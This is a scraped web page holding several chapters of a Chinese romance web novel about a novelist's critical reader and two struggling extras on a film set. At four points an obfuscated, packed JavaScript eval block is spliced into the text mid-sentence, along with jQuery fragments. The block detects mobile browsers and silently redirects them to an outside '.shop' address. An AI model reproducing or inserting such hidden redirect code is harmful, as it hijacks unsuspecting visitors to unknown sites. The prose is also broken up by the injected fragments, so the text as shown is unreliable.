;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481610|201775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开口:“妈,怎么了。”
“你干什么啊,你跑去哪里了!我电话都打爆了你也不接,不就是跟你商量着去考个教师资格证吗,闹这一通真的是。”
“当初让你学理,你说你考个医科大学多好,非得犟,天天就盯着电脑写小说,能有个什么出息。”
“今天二月十七号,开学之后我要是还没收到你去学校的消息,那你书也别读了,趁早出来给我打工,死了那条写小说的心。”
一分钟过去,电话那头全是罗浅的声音,方硕好几次找准时机想说话,都被电话那头劈里啪啦的连珠炮扼杀。
等到罗浅将自己的愤懑发泄完之后,方硕深吸一口气,压着心底的怒意温和道:“妈,你说完了吗。没什么事我先挂了。”
罗浅一听,瞬间不乐意了:“你这是干什么,还跟我闹脾气了是吧,你不回来我就天天给你打电话,打到你愿意回来为止!”
下一秒,方硕猛地挂断电话,合上电脑,把架在鼻梁上的眼镜取下来,随后揉着突突跳地太阳穴。
被这么搅一通,刚刚才涌起的灵感瞬间如云雾般散开,他闭上眼睛屏息凝神地想,却仍旧没半点头绪。
他起身到餐桌旁到了半杯水,一口气灌进去,随后又坐回电脑前,揉揉眼睛看着大纲发呆。
这篇文章已经二十六万字了,目前点击量和收藏量都很不错,最近的一期榜单位置也很好,可就是因为学校忙,回家又被罗浅盯着没办法写,直接硬生生断开,原本接续的灵感也像珠子离开了线一般散满整个脑海,拼凑不出一个完整的情节。
年后他本打算好好更新,却又被自己亲爹亲妈一同唠叨,这才联系江州的朋友,将多余的房子暂时租给他用。
白底黑字的文档依旧亮着,方硕自觉写不下去,就索性关了电脑,洗漱完后躺在床上,打开锦江app去看自己文章有没有新的评论。
果然有。
带着订阅100%标识,id名叫听海的读者发表了评论。
时间是刚刚。
【为什么断更了,是作者笔力不够写不下去了吗。感觉前面确实很好看,但后面男女主感情线变得好草率…我还全买了,如果作者能修修后面逐渐跑偏的感情线和人设就好了】
卧室里没开灯,看见这条评论的方硕有微微皱眉,捧着手机思索着该回些什么。
片刻后,他放弃挣扎,在回复栏敲下一行字:抱歉影响了你的观看体验,阅读币已全部退还,祝找到更好的作品。
???
另一头,收到回复的梁听雾一脸问号。
自己大半夜看点小说陶冶情操,只是实话实说发表意见而已,怎么就被作者驱逐了。
这作者也太玻璃心了吧…
梁听雾瘪瘪嘴,关掉手机。
可是这本小说前期真的很好看,两生两世的民国背景,男女双重生,每一次的相遇氛围都烘托得恰到好处。
要是作者听劝能改改后半部分逐渐跑偏的人设,那肯定会爆火。
梁听雾有些可惜,但作者都那样说了,她抽空追的文也不是不能换,也就没在意那些。
毕竟锦江的作品多的是,她也不缺这一本看的。
而在同一座城市的方硕看着这条评论,决定将自己的文章从头至尾再看一遍。
8. 雨城杂记
折琰再回雨城已经是几天以后。
下午雨停了,浅浅的彩虹挂在天边,坐在苹果箱上的舒念看着彩虹,忍不住举起手机想要拍照。
取景框里却忽然多出一个人。
舒念恰好拍完,移开镜头收好手机,对他露出浅淡的笑,心情也跟着好起来。
“阿姨的情况怎么样。”
她不擅长找话题,在心里打了半天腹稿,最终说出口的却只有这么一句单薄的话。
“在医院照顾了她几天,情况好多了,回家那天请好了护工专门照顾她。不过后续的恢复还要一段时间,毕竟伤筋动骨一百天。”
他说着,也在她旁边坐下,距离不远不近,分寸拿捏得恰到好处。
舒念听完,若有所思地点点头,没再多问。
“对了,前些天我太忙,忘了将借你的钱还上,抱歉。”
他说着,打开微信就想转账,却被舒念拦住。
“群演不挣钱,请护工照顾阿姨是笔不小的开销,我这里暂时也不缺钱,先不用还了。”
折琰的握着手机的手迟疑片刻,随后坚定摇摇头:“一码归一码,我是借你钱应急,有借有还才能再借不难嘛。”
舒念拗不过她,只能接受。
她不想收钱是替他考虑,但站在折琰的视角上,他不能接受有闲钱的自己欠着喜欢的人的钱。
借钱时已经很不好意思了。
这时不远处忽然喧闹起来,剧组不少人都围在不远处的小围墙边,舒念看见这一幕,有些疑惑:“是谁杀青了吗,好热闹。”
折琰打开手机日历看了一眼,随后点点头:“是戏里的男二杀青了,要过去看看吗。”
舒念站起身伸个懒腰:“过去看看吧,我还从来没看过杀青的场面。”
得到答复,折琰跟她身后往小围墙那处走。
舒念被挡在人群外围,看不见男二号的脸长什么样,只能看见手持礼花在空中炸开,随后人群中爆发出热烈的掌声,随后一句“杀青快乐!”从人群正中央的爆发开来,混合着雨后冷白的太阳光,格外耀眼。
数十台摄像机对着怀抱捧花的郑随亮起闪光灯,而郑随也摆出职业标准笑容,尽可能照顾到每一台摄像机。
人声嘈杂,剧组里打杂的两个工作人员悄悄议论,被站在她们身后的舒念听得一清二楚。
“你说郑哥这长相,我觉得他不适合现代都市剧,他适合去当民国剧男主。”
“就是啊,斯斯文文的长相,可惜都这么火了,还是被男主压一头。”
“谁说不是呢,唉,他要是资源跟得上,肯定不至于当男二了,早就飞升了。”
说话声到这里断掉,两个小姑娘屁颠屁颠跟在郑随身后去要签名。
舒念听完,双手托腮看着那个抱花的背影逐渐远去。
虽然没有一线演员那样的流量,但关注度对舒念这样的人来说,足够了。
他们去的时候仪式已经快结束了,拍完郑随的杀青特写之后,周围人逐渐散开,舒念这才看清男二郑随的脸。
不过比那张帅脸更吸引舒念的,是他手上那束硕大的捧花。
说不羡慕是假的,舒念盯着那束花看了好久,直到跟他俩寒暄完的郑随已经消失在视线外。
“你喜欢花吗?我怎么不记得。”
折琰有些意外。
舒念堪堪回神,反问他:“?你说什么,我没太听清楚。”
二人距离近在咫尺,舒念说这话时恰巧对上折琰那双会说话的眼睛,一时间呼吸加速,心跳都漏了一拍。
他这双眼睛实在太好看了,不应该只当群演。她心想。
他该到更远的地方去,到更大的舞台去。
“没什么,只是很意外你喜欢花。”折琰对她笑笑,一双眼弯成月牙状。
舒念摇摇头:“我不是喜欢花,只是羡慕。”
羡慕他作为演员能够走到今天这一步,羡慕他能有单独的杀青仪式,羡慕他能成为在场所有人的焦点。
更羡慕他能被很多人记住脸,记住他的名字。
初春的日照时间不长,刚刚还亮着的天逐渐暗淡下来,云层越积越厚。
“你也会的,我们都会的。”
折琰知道她羡慕的是什么,于是看着她的眼睛,小声说。
舒念未来得及作回复便被郭林山临时叫走。再回来时,天色已经擦黑,刚巧碰上剧组放饭。
秉着不吃白不吃的原则,舒念毫不客气地钻进人堆里拿了盒饭,可转头再想拿筷子时,放筷子的纸盒已经空了。
手还是慢了一步。
这种不痛不痒的东西会有人喜欢多拿两双以备不时之需,但每次筷子的数量都跟盒饭数量是一样的,会有“幸运儿”没有筷子。
今天的幸运儿刚巧是舒念。
她刚刚伸出的手顿住,随后尴尬抽回。
“知道你要回来,所以特地给你拿了筷子。”
折琰的声音来得恰到好处,舒念方才的小尴尬烟消云散。
“算得真准,知道我会回来吃剧组的免费盒饭。”舒念笑着接过筷子,一边单手将筷子外包装顶开,一边对打趣他。
舒念很少对梁听雾以外的人开玩笑,平常对人对事都是一板一眼的态度,但到了折琰这里似乎不一样。
他会变着法的让她心情好一点。
折琰没说话,看着她的眼睛淡然一笑。
两人找了个不显眼的角落坐下,舒念掰开筷子,拆了饭盒一边吃一边看着远处忙碌的人影。
折琰余光看她一眼,随后也打开饭盒,话到嘴边却欲言又止。
舒念偏头注意到,开口问他:“有心事?”
饭盒里的热气不断上涌,在冷空气作用下凝成水雾向上走。
折琰转头看着他:“剧组马上要杀青了,我还在愁去处。”
进组的机会不是天天都有,好不容易留在一个大组当了三个月的演员,现在一杀青,就像是盆冷水浇灭他所有的幻梦。
舒念听到这个才恍然,自己进组是在后半段被临时拉去替补的,现在戏份差不多拍完,她也差不多该考虑以后往何处去。
初春天气冷,舒念裹着厚重的棉服都被冻得鼻子通红,饭盒里氤氲的热气不断上涌,打着旋飘进冷空气了里,随后消散得无影无踪。
“我也是,还不知道能干什么。你呢,打算留在雨城这边继续试戏吗。”
饭凉了,舒念没心思再吃下去,用筷子不断地戳着已经变冷的饭,心里乱如麻。
“我打算就留在雨城。雨城机会不比横店少,很多剧组出外景都会到雨城来。”
横店反倒是古偶剧拍得相对要多些。
舒念若有所思地点点头。
“我还没想好要去哪儿。”
“只是想留在雨城。”
舒念声音很小,说话声被风吞去半数,到折琰耳朵里就只听清了后半句。
心情不由自主好了几分。
远处灯火蜿蜒成一片,今天又是大夜戏,女主角还在聚光灯下不停忙碌,一个镜头反反复复拍了不下十遍。
如果说郑随给她的印象里娱乐圈光鲜亮丽的表象,完全符合她对演员的刻板印象,那主演给她的就是背后不为人知的苦楚。
“留在雨城,你想继续当演员吗。还是找份别的工作,或者继续当模特。”
盒饭已经完全冷掉,没办法再吃,舒念将饭盒重新盖好,准备留着等会儿去喂喂小区下的流浪猫狗。
“模特的工作是我靠运气找到的,当时那个工作室刚成立恰巧需要人,现在工作室的模特都很稳定,几乎不需要新人。我打算继续试戏,如果实在穷到没办法撑下去,那就去餐馆打零工。”
舒念一口气说完,忽然有些后悔当时的决定。
为什么不继续念书学门手
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481611|201775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
艺呢。
为什么觉得出来会很轻松。
这颗纽扣她好像从一开始就扣错了。
至于原因,谁也说不清楚,也许是看多了电视剧给她留下的印象,也有可能是横店那次无人问津后她不服输的劲头。
如果命运说她做不到,那她偏要试试。
折琰看着她,淡淡一笑,随后问她想不想听自己为什么要来跑龙套。
舒念点点头。
“我爸走得早,我妈一个人拉扯我长大,我当时的分数能上个好大学…”
不用他补完后半句,舒念也知道他想说什么。
折琰也将冷掉的盒饭收好,放在一旁,继续刚才的话题。
“但是学费我交不起,去贷助学款也需要还很多钱进去。当时我妈又患了乳腺瘤,治病需要一大笔钱。”
“所以我没继续念书了。来雨城的第一个月,我送了一千单外卖,后来我妈病好了,但当时没想那么多,傻到志愿都没填,后来也不想去复读,觉得送外卖太辛苦,就想去当演员。”
当着当着,他开始羡慕那些聚光灯下闪闪发光的身影,开始羡慕不菲的收入。
他一直都知道钱是多重要的东西,于是从那天起,他就下定决心要让自己也站在大荧幕上,要让自己和那些知名演员一样也赚数不清的钱。
太阳落山后,星星在光污染严重的城市里并不多见,蓝紫色的夜空里排布着稀疏的浅色光点,到舒念眼睛里,成了大小不一的光斑。
这是她毕业后头一次能有空看星星。
听着折琰的话,舒念忽然间觉得自己的心理状态很莫名其妙。
明明有那么多人比她过得还要苦,她却成了比他还需要心理疏导的人。
“我的理由很俗吧,为了出名,为了钱。”
舒念不赞成他的说法:“人要是把钱看得不重要,那就可以出家了。虽然是生不带来死不带去的东西,但没了它谁都活不下去。”
“况且有目标是好事,其实不用太理会周围人的看法,就像那些干出一番大事业的人最开始也是不被人理解的怪咖。”
这是折琰这么久以来第一次听见这样的答复。圈里的人会说他肤浅,艺术怎么能用金钱来衡量,圈外的人会说他白日做梦,没资源没背景在圈子里只有被吃干抹净。
他就像是出于中间地带的人,向左得不到赞赏,向右得不到理解,只有孤零零地在自己的圈子里徘徊。
“你是第一个理解我的人。”
折琰听完,慢吞吞吐出几个字。
舒念手肘顶着膝盖,双手托腮地看着前面:“我也只能开解别人,但处理起自己的问题却一团糟。”
折琰听她这样讲,微微一笑:“那我和你…算是有相似的地方。”
临近杀青,剧组里的氛围都很活跃,有些配角们更是三三两两聚在一起喝酒,他们两个在这偌大的城市里认识的人很少,更别提朋友,于是只能肩靠肩坐在一起看着不远处的热闹。
“其实我能理解你的心理,可是敏感并不是错。而且我觉得敏感这个词本身就有问题。”
折琰自然地接过她的话茬,回道。
“与其说是敏感,更不如说是敏锐。”
敏锐。
舒念微微偏头,一双眼有些愣怔得地看他。
“我…从来都没想过这个词,我一直以为是我内心不够强大,是我自己的问题。”
折琰对着她淡然一笑:“心是肉做的,又不是石头,怎么可能坚硬到刀枪不入呢,每个人心里都有很细腻的部分,只是没表现出来。”
舒念听完,心里好受许多,对着他露出淡然的笑。
时间从话语间悄悄溜走。
晚上十一点,剧组收工,舒念才收拾好东西准备回去。
十一点四十五,舒念到家门口,把门打开后顺手去摸玄关处的开关,想把灯打开,按了好几次却都没反应。
9. 雨城杂记
老房子电路年久失修,停电是常有的事,舒念无奈耸肩,随后熟练地打开手机电筒,去卧室的床头柜里翻蜡烛。
自从搬来这边,蜡烛就成了必需品。
冬天太冷会莫名其妙停电,夏天开空调的人太多,线路过载也会停电。
她在屋里翻了半天,找出打火机将蜡烛点燃,随后熄掉手机电筒,有些烦躁地坐在沙发上。
手机电量还有百分之十,她顿了顿,随后点开通讯录一直往下翻,找了半天才找到房东的电话。
犹豫片刻,她还是冒着被骂的风险拨通,嘟嘟声在夜里格外清晰,每响一次,舒念心里就紧张一分。
电话响了半晌都没人接,舒念想挂断再打一次。在手指即将按下红色电话键的最后一刻,电话被接通。
对面的房东大半夜被吵醒,声音极不耐烦:“大半夜打电话干嘛!还让不让人睡觉了。”
舒念被训一通,很想在电话里骂对方解解气,但想到没到期的房租和比脸还干净的钱包,话到嘴边又咽了回去。
“阿叔啊,是家里电路坏了,我这晚上黑灯瞎火地也没办法洗漱啊。您看能不能找个人给我修一下。”
谁承想对面更得寸进尺:“大晚上的你让谁来,谁会来,明天再说。”
大晚上的,手机电脑都充不了,明天还得上班,各种通知都指望着手机,舒念莫名烦躁,坐在沙发上看着蜡烛发呆。
房东没办法叫人来修线路,事情只能自己解决,想到这里,她俯身拉开抽屉,翻找看前段时间用的充电宝还在不在,至少能顶一段时间。
东西倒是好找,只是连上电源线后按了三次都没反应,侧面用来看电量的小灯一个也没亮。
该死。
舒念泄气地将充电宝往桌子上一扔,随后打开手机看看想能不能找人借。
微信列表好友里本就没几个人,还都五湖四海地散着,要是想在雨城借…那她能想到的只有一个人。
舒念摁亮手机屏幕,光线反射在脸上。
十一点五十五分。
她不愿意再麻烦任何人,哪怕是折琰。
思索片刻,舒念重新换好鞋子,裹紧身上的羽绒服出门。
她要找家最近的便利店,既能解决问题,又能顺道吃点宵夜。
春寒料峭,十二点钟的街头没有六七月那般热闹,舒念找了去了小区附近的一家711
请店员帮忙充电后,舒念顺带着买了八宝粥请店员帮忙加热。
她挑了个靠窗的角落坐下,没多久便看见夜幕里一个身影推门进店。
舒念手里捏着发烫的饭团,心跳加速。
折琰似乎早就察觉到了她的存在,要了碗关东煮后径直朝着舒念的位置去。
两人同向而坐,舒念的东西吃了一半,随后想主动找话题。
她不想再当被动方,不管能不能成功,她都想试着改变自己。
“这么晚了…我记得你以前…不喜欢吃宵夜吧。”
话说完她自己都想笑,表达的意思连自己都没办法理解,他又怎么能从这结结巴巴的话里听出话外音。
食物的热气打着旋往外飘,折琰笑了笑,没回答,反倒问起她来:“先不说我,你怎么大半夜跑出来了。”
她也没有吃宵夜的习惯。
提到这事,舒念轻轻叹了口气。
“房子电路老化,停电了,手机没电了,出来找个能充电的地方。”
如果不是这几天刚给家里打了钱,她会选择开间钟点房好好洗个澡睡到明早上班,不至于沦落到来便利店充电。
折琰能猜到她为什么没来找自己,于是耐心地对她讲:“就像你帮我那样,你有什么困难也可以随时给我说,不用担心会麻烦我。”
舒念点点头,双手捧着粥没说话。
她是个很害怕麻烦别人的人,不管是学生时代还是现在,她扮演的始终是主动提供帮助的那一方。
高中的时候她也找过别人帮忙,可得到的大部分都是漫不经心的回应,有的甚至直接不理睬。
久而久之,她习惯了一个人做所有事。
一个人放学时卯足劲冲到食堂打饭,一个人吃饭,一个人应付不交作业的同学和难缠的科任老师,一个人放学,一个人上体育课。
而现在生活里慢慢多了一个人的痕迹,她需要时间,需要很长的时间才能适应这突如其来的温暖。
过了半晌,舒念手里的粥已经见底,她才像思考好了一样开口对着他求助:“你在剧组呆得久,能帮我看看有没有剧组缺人吗。”
“明后天组里就要杀青了,我对这方面也不是很了解。”
隔行如隔山,如果想继续做模特,她满城找或许能找到份可以勉强糊口的工作,但换到演员来,她就是个门外汉,什么渠道都没有,当群演的工作都不一定能轮到她。
折琰一口答应下来:“好,我会帮你留意看看有没有合适的岗位,有的话会第一时间跟你说。不过很大可能和我不是同一个组的。”
那些有资历的群演们建了个群,隔三差五便会在群里问哪里还招人,这时候有些导演便会在群里发通知。
至于能不能抢到,全看运气。
舒念淡淡一笑,眉眼弯成月牙状。
这是她第一次向别人请求帮助而没有被拒绝。
^
房东派来修电路的人是第二天中午到的,统筹那边今天没安排有她的镜头,她也因此得闲休息一天。
明天是整个剧组杀青的日子,她只需要去补一个女主的背影,一个不到五秒的小镜头。
电路修好不到半个小时,破旧的铁门被敲响。
刚睡醒的舒念还在状况之外,听见敲门声,便趿着棉拖鞋走到大门边,问了声是谁后才把门打开。
“阿叔你怎么来了。”
舒念揉揉眼,显然还在状况之外。
“你不是说电路有问题了吗,我来看看修好没有。”
对方叼着烟,烟味呛得舒念用手不停地扇着鼻子前的空气,却依旧没什么用。
房东满不在乎,没换鞋就在屋里踱步,说是检查各处电路有没有问题,实际是看家具有没有被损坏。
如果有损坏,正好可以坐地起价涨点房租。
可看了一圈下来,不仅家具没坏,房间还被打理得井井有条,还做了很多装饰,看起来比以前更漂亮。
这些都是做模特的时候装饰的,那时候工资稳定,舒念也更追求生活质量,经常隔三岔五地将房子搞点小装饰。
今天是给老式木柜改颜色,明天是给厨房做几个墙上收纳。
房东在屋里走了一圈,随后预谋已久地开口:“我看你房租是不是最近也要到期了。”
舒念没明白话里有话,点了点头:“还有小半个月。”
“是有什么事吗阿叔。”
也许是看她难受得一直扇着面前的一小片空气,房东有些不好意思地将烟掐了,自顾自坐在沙发上。
“没什么事,你最近工作还好吧,打不打算换房子啊。”
问这句话,饶是脑袋再不好使的人都该明白意图了。舒念扯出抹僵硬的笑:“工作都在雨城,不过不知道会不会换。如果通勤时间长的话会考虑。”
“这样啊,那就到时候再说吧。屋里没什么东西坏了吧,我好找人一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481612|201775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起来修。”
说话间房东已经走到门边,舒念将门打开送他:“没有了阿叔,就是电路有点问题,现在能用了就没什么了。”
房东点点头,想再留,但看舒念眼神里透露着几分烦躁,也就没多说什么,推门出去
送走房东,舒念坐在沙发上思考着到底要不要换房子。
自从租到这套房子以来,房东几乎登门过,交房租都是线上交易,就是因为房东事少她才敢改造房子。
现在房东话里话外都是涨租两个字,她预感不妙,想搬走找个其他的地方住,可雨城这么大,想找套合适的房子还真不容易。
舒念有些烦躁地揉了揉头发,想了半天最后决定自暴自弃。
管他的,到时候再说吧,最近多留意留意合适的房子,其他的暂时还轮不到她操心。
看看时间已经十二点半了,舒念将冰箱里昨晚准备的便当扔进微波炉里,等饭的间隙不由自主地打开了微博。
前阵子发的那组粉色毛衣反响不错,点赞评论的人也不少,舒念留意了评论区的id,初步排除有熟人的可能后便继续发,久而久之吸引了一批粉丝。
除了写真,她平时还喜欢发些plog分享自己的日常。
只是顺手的事,却给舒念开了条她意想不到的捷径。
微波炉还在运转着,舒念拿起手机看剧组群里面的消息,看着导演在里面安排明天最后一场的戏份,后知后觉地发现一切都快结束了。
就像是一场梦,她短暂地拥抱了那个十七岁的理想,体验了站在监视器和摄像机前的感觉,一切结束后她就该回到正轨,继续做她的模特,继续迷茫地往前走。
微波炉在这时发出“叮”的提示音,舒念将微波炉拉开,又不受控制地想起折琰。
明天杀青之后还能和他这样近距离相处吗。
她不想就这样离开,不想就这样结束这场偶遇。
如果注定要说离别的话,她想给他一个正大光明的拥抱。
^
剧组杀青那天,舒念的戏份排在大清早,她到组里时刚巧七点。
天边泛起鱼肚白,太阳还藏在云层里,只露了条金编出来,勾勒出晨曦时分的光圈。
剧组的人已经少了一半,开始是群演和女三女二,再后来是男三男二。今天剩下这场是女主和男主的对手戏。
内容不多,舒念此前拍过摔汽水的镜头,肯定不会出差错,可当她知道今天要和谁对戏时,没来由的紧张一瞬间漫上心头。
做好妆造后,她被带到条两边种满银杏树的小路旁。风卷落叶,金色刷啦啦往下掉。
女主角要补拍之前落下的一两个镜头,舒念的任务便是站在撒满银杏叶的小路上,从后面抱住“男主角”。
定位是男女主感情逐渐升温时,女主毫不犹豫地表达出自己的情绪。
“最后一个镜头了,放轻松啊。”
郭林山看着监视器里的画面,有些不耐烦地抓了把头发,却还是压下心里的烦躁尽量提醒她。
舒念朝他比了个OK的手势,随后投入状态,准备面对镜头。
摄像机开始运转,掉满银杏叶的小道上,舒念站在他身后,鼓起勇气,一点一点贴近,随后伸手,慢慢抱住他。
四周很安静,只有风刮树叶的声音。
直到导演喊咔的最后一秒,舒念才放下手。
戏里的女主角很勇敢,她能无所顾忌地去表达自己的喜欢,可舒念做不到,对她来说,能躲在女主角的光环下借着镜头抱他就足够了。
这已经是她足够勇敢的瞬间。
五秒后,摄像机卡点停止,镜头到此结束。
10. 雨城杂记
折琰转过身来时,舒念已经松开手,心里却还在回忆那个拥抱,那个只会在摄像机前她才敢正大光明出手的拥抱。
她没抬头直视他的眼睛,手不停地攥着风衣衣角的面料,将原本平整的面料硬生生捏出一道褶皱来。
“结束了。”
折琰也默契地没看她,望着远处不断掉落的银杏叶,只说了三个字。
舒念逐渐放松下来,点点头道:“是啊,接下来就是杀青合照。”
折琰拧开手里矿泉水瓶的瓶盖,猛灌了几口后有些诧异地看着她,过了片刻才回:“你还不知道吧,杀青合影没我们的份。”
她知道剧组的杀青宴只请主演,自己一个后半段才被临时拉来的替身根本排不上号,可她不知道,就连杀青合照都没有他们的位置。
舒念眼神里是肉眼可见的落寞。
“真的吗,我以为只有杀青宴不会请我们,只露个脸的大合照还是有份的。”
折琰从旁边那件矿泉水里又抽出一瓶,拧开后递给她:“剧组上千号人,能拍合影的都是戏里‘有头有脸’的人物,还轮不到我们。”
她怅然地点点头,走到监视器旁边收拾自己的东西。
剧组已经收工,导演和其他工作人员忙着清场给后来的剧组用,舒念需要收拾的很少,几分钟就解决了。
剧组清场后准备拍杀青合影,主演在前排,捧着大花束露出标准笑,后排的配角和工作人员们则只现个脑袋出来。
舒念站在一旁看着,微风拂过,鼻尖没来由拂过一阵酸涩。
她也好想站在最中间的位置,享受所有人的目光,当一回众星拱月般的存在。
“在想什么呢,我借到了朋友的拍立得,要不要和我一起拍?”折琰手里拿着台白色拍立得,见她回头,便笑着问她。
舒念眼睛一亮,点头同意。
她原本想找他用手机拍张独属于两人的杀青合影,却没想到折琰提前借了拍立得。
“这边人太多了,我们换个地方吧。”
舒念看着他的眼睛,认真道。
折琰偏头:“想去哪儿?”
舒念思索片刻,卖了个关子:“跟我来,等到了你就知道了。”
折琰迁就她,将自己东西收拾好后跟在她后面,随后越走越觉得眼熟,直到站在路口前,他才恍然明白这是两人一个月前头一次见面的地方。
到达这条小巷时是九点四十五,同他们第一次来时完全不同,那日被围得水泄不通的巷子现在空空荡荡,只偶尔有几个人从这里经过,人一走,斑驳的白墙便重现于眼前。
"银杏树落叶的景色比这里要好得多,怎么偏偏选了这里。"
舒年看着眼前一条破旧的小巷子,面带微笑:“说不上来为什么,就是喜欢这儿。”
说不上来为什么是假,故地重游是真。
她想在两人第一次见面的地方拍照,不管以后两人能不能见面,也算是个纪念。
折琰依着她,找了个不会过曝的地方,调好拍立得自拍模式。
“准备好了吗。”折琰问她。
舒念点头。
三,二,一。
白色拍立得吐出相纸,折琰将第一张留给舒念。
照片上两人离得很近,舒念还穿着刚刚拍戏时穿的卡其色风衣,头上是同色系贝雷帽。
两人又拍了第二张。
她小心地将相纸捂在手心里,等着照片成像。
上一次这样期待着拍立得,还是高中毕业的时候和梁听雾一同拍毕业照。
“你看,你长得这么好看,到哪里都是当主角的料,所以一定要坚持下去。”
舒念的照片已经半显影,透过模糊的成像,折琰能隐约看清照片里她的眉眼,于是便有了这句发自内心的感慨。
只是在他看来应当是女主角的她,在整个中学时代都是被人忽略的透明存在。
舒念只是轻轻一笑:“我一没有人脉二没有背景,想在这个圈子混下去比登天还难,我也就不奢望能真正踏足了。”
“这个月能让我得到这样一个机会已经很好。”
折琰手里的照片也开始显影,他用手捂着,听见这话摇摇头,随后开口。
“机会很多,只是看你愿不愿意,因为会很累的,你会北京,雨城,横店三头跑,最忙的时候红眼航班一个星期能飞六次。”
他跑的剧组很多,见过各种各样的人,主演们表面轻松,实则被各种魔鬼行程压得喘不过气,只能收工后一个人躲在房车里消化情绪。
舒念眼睛里有些震惊,折琰看见她眼神里带着的疑惑,便笑着解释。
“因为演员这个职业,拼的就是命,你命好火起来的时机也就那几年,如果不在那几年抛头露面接各种综艺活动和片约,很快就会被遗忘的。”
娱乐圈更新换代很快,一张脸能被观众记多久全凭运气。
舒念点头,像是第一次了解到令人难以置信的真相。
两人有一搭没一搭地聊着,关于演员的话题结束后,舒念又问起他的去处:“接下来你打算去哪里,雨城最近拍摄的剧组也不多…”
他听见这话,也咬着糖沉思起来。
糖是刚才来的路上买的,原本是因为缓解情绪才想吃糖,现在却成了个小习惯,隔三差五就想吃。
“目前还没盯到合适的剧组,情况不太好,估计还帮不到你。”
话说完,他看她的眼神添了几分歉意。
“这有什么,拍戏这个本来就不是必要,我打算去看看哪里招人,暂时去做服务员。工作嘛,能走正路挣到钱就行。”
刚出来那年,她也顾体面,于是压根没往服务生和其他方面想,导致出来三个月都没能找到工作。
后来转念一想,自己本来也没读多少书,家里又没那个财力支撑她白手起家创业,除了这两样,她根本找不到别人眼中的体面活。
于是她开始找饭店,找厂房问招不招人,不过后来阴差阳错,进了温玉的服装工作室。
命运有时很爱捉弄人,给人希望,却又在人觉得最接近实现梦想的时候将其一把拉下来,兜来转去,最后回到完全相同的节点。
“我也在考虑要不要这样,我妈最近复查情况也不太好,不知道怎么了,断骨处有骨质增生,还在考虑要不要进行手术。”
“如果有剧组要,那就继续跑剧组拍戏,如果没有,我也打算不干了,我想去送外卖。”
明明是两个最想在荧幕前崭露头角的人,却在这一刻不得不败给现实。
手里的拍立得
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481613|201775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
相片已经完全成像。相片将世界调暗了一个色调,里面的两人挨得很近,在这一刻成了彼此世界里的主角。
折琰不想再聊扫兴的话题,看着相片对她笑道:“你看,我们单独出来拍,效果比挤在人堆里好多了。不用拿手机使劲放大就可以看清我们的脸。”
“比主角都好。”
闻言,舒念垂眸看向手里的相片。
她知道这是在安慰她,两个人一张普普通通的照片,肯定不及剧组里全部都以他们为中心更让人
“是啊,比主角都好。”
舒念淡淡道。
照片拍完,舒念不想这么早回去,折琰明白她的心思,就由着她带路,找家附近的餐馆吃顿午饭。
他知道她平时很讨厌一个人,所以想力所能及地陪伴她。
两人一边走,一边继续着刚才的话题。
他们都明白,主角们哪怕是站在上百号人里,都是最出彩的那一个,这样说只是为了让彼此都好受点,别无他用。
“但是我希望有一天,我也能站在剧组最显眼的位置,去当那个最耀眼的人。”
两人同行,走过路口,转角到了附近的一家中餐馆,推门的同时,舒念说了这句话。
两人挑了个靠窗的位置坐下,服务生递来茶水。
点菜的间隙,她听见折琰很小声地说了句:“我们都会的。”
哪怕是五年,十年甚至更久,只要这个世界上还存在着他这个人,他就会毫不犹豫地为这个微不足道的梦去拼一把。
舒念眼睛看着菜单,可折琰刚才的话确在心里绕圈子,兜过去,绕回来,一圈一圈,将她的心脏包裹得密不透风。
“我想试一试,或许我们可以一起试一试,谁也不知道我们明天会有怎样的前程。”
舒念声音很小,但很坚定。
“我和你一起。”折琰似乎也坚定地想好了什么,看着舒念的眼睛认真说。
舒念很久才反应过来自己拿着圆珠笔在干嘛,在折琰的提醒后,她才开始重新集中注意力看着菜单。
最终端上桌的是糖醋里脊和紫菜蛋花汤还有辣子鸡丁。
